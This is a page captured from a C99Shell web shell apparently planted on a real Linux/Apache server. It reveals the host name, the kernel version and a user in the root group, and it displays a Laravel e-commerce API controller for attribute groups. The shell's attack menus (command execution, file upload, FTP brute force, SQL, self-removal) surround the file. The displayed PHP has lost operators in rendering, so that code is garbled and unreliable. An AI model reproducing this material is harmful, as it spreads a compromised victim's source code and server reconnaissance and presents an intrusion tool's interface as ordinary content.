!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Http/Controllers/Api/   drwxr-xr-x
Free 27.18 GB of 117.98 GB (23.04%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     AttributeGroupController.php (4.92 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * @package AttributeGroupController
 * @author TechVillage <support@techvill.org>
 * @contributor Sakawat Hossain Rony <[sakawat.techvill@gmail.com]>
 * @created 26-10-2021
 */
namespace App\Http\Controllers\Api;

use 
App\Http\Controllers\Controller;
use 
App\Http\Resources\{
    
AttributeGroupDetailResource,
    
AttributeGroupResource
};
use 
App\Models\AttributeGroup;
use 
Illuminate\Http\Request;

class 
AttributeGroupController extends Controller
{
    
/**
     * Group List
     * @param Request $request
     * @return json $data
     */
    
public function index(Request $request)
    {
        
$configs $this->initialize([], $request->all());
        
$groups AttributeGroup::select('attribute_groups.*');
        
$name = isset($request->name) ? $request->name null;
        if (!empty(
$name)) {
            
$groups->where('name'strtolower($name));
        }

        
$vendor = isset($request->vendor) ? $request->vendor null;
        if (!empty(
$vendor)) {
            
$groups->whereHas("vendor", function ($q) use ($vendor) {
                
$q->where('name'strtolower($vendor));
            })->
with('vendor');
        }

        
$status = isset($request->status) ? $request->status null;
        if (!empty(
$status)) {
            
$groups->where('status'strtolower($status));
        }

        
$keyword = isset($request->keyword) ? $request->keyword null;
        if (!empty(
$keyword)) {
            if (
is_int($keyword)) {
                
$groups->where('id'$keyword);
            } else {
                if (
strlen($keyword) >= 3) {
                    
$groups->where(function ($query) use ($keyword) {
                        
$query->where('name''LIKE''%' $keyword '%')
                            ->
orwhereHas("vendor", function ($q) use ($keyword) {
                                
$q->where('name''LIKE'"%" $keyword "%");
                            })->
with('vendor')
                            ->
orwhere('status'$keyword);
                    });
                }
            }
        }
        return 
$this->response([
            
'data' => AttributeGroupResource::collection($groups->paginate($configs['rows_per_page'])),
            
'pagination' => $this->toArray($groups->paginate($configs['rows_per_page'])->appends($request->all()))
        ]);
    }

    
/**
     * Store Group
     * @param Request $request
     * @return json $data
     */
    
public function store(Request $request)
    {
        
$validator AttributeGroup::storeValidation($request->all());
        if (
$validator->fails()) {
            return 
$this->unprocessableResponse($validator->messages());
        }
        
$request['vendor_id'] = $request->vendor;
        
$groupId = (new AttributeGroup)->store(($request->only('name''vendor_id''summary''status')));
        if (!empty(
$groupId)) {
            return 
$this->okResponse([], __('The :x has been successfully saved.', ['x' => __('Attribute Group')]));
        }
        return 
$this->errorResponse();
    }

    
/**
     * Detail Group
     * @param Request $request
     * @return json $data
     */
    
public function detail($id)
    {
        
$response $this->checkExistence($id'attribute_groups');
        if (
$response['status']) {
            return 
$this->response([
                
'data' => new AttributeGroupDetailResource(AttributeGroup::getAll()->where('id'$id)->first())
            ]);
        }
        return 
$this->response([], 204$response['message']);
    }

    
/**
     * Update Group Information
     * @param Request $request
     * @return json $data
     */
    
public function update(Request $request$id)
    {
        
$response $this->checkExistence($id'attribute_groups');
        if (
$response['status']) {
            
$validator AttributeGroup::updateValidation($request->all(), $id);
            if (
$validator->fails()) {
                return 
$this->unprocessableResponse($validator->messages());
            }
            
$request['vendor_id'] = $request->vendor;
            if ((new 
AttributeGroup)->updateAttributeGroup($request->only('name''vendor_id''summary''status'), $id)) {
                return 
$this->okResponse([], __('The :x has been successfully saved.', ['x' => __('Attribute Group')]));
            }
            return 
$this->okResponse([], __('No changes found.'));
        }
        return 
$this->response([], 204$response['message']);
    }

    
/**
     * Remove the specified Group from db.
     *
     * @param int $id
     * @return json $data
     */
    
public function destroy($id)
    {
        
$response $this->checkExistence($id'attribute_groups');
        if (
$response['status']) {
            
$result = (new AttributeGroup)->remove($id);
            return 
$this->okResponse([], $result['message']);
        }
        return 
$this->response([], 204$response['message']);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.004 ]--